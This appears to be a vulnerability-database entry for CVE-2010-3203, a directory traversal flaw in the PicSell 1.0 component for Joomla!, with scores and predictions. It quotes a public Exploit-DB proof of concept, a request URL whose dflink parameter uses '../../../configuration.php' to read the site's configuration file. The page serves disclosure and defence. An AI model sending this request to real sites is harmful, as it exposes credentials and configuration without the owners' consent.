CVE-2010-3203

medium

Published 2010-09-03 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

Directory traversal vulnerability in the PicSell (com_picsell) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the dflink parameter in a prevsell dwnfree action to index.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14845 webapps php verified text · 1 KB

Craw · 2010-08-30

Joomla! Component PicSell 1.0 - Local File Disclosure

text exploit Source: Exploit-DB

# Author: Craw
# Email: craw@element7.eu             
# Software Link: http://vm.xmlswf.com/index.php?option=com_content&view=article&id=104&Itemid=131
# Category: web applications

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[+] ExploiT :
 
 http://server/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=[File Disclosure]
 
  
[+] Example :
 
 http://server/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=../../../configuration.php
 
  
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Greetz @ LUXEMBOURG
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Application impact

Vendor	Product	Versions	Fixed
xmlswf	com_picsell	`1.0`
joomla	joomla\!

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.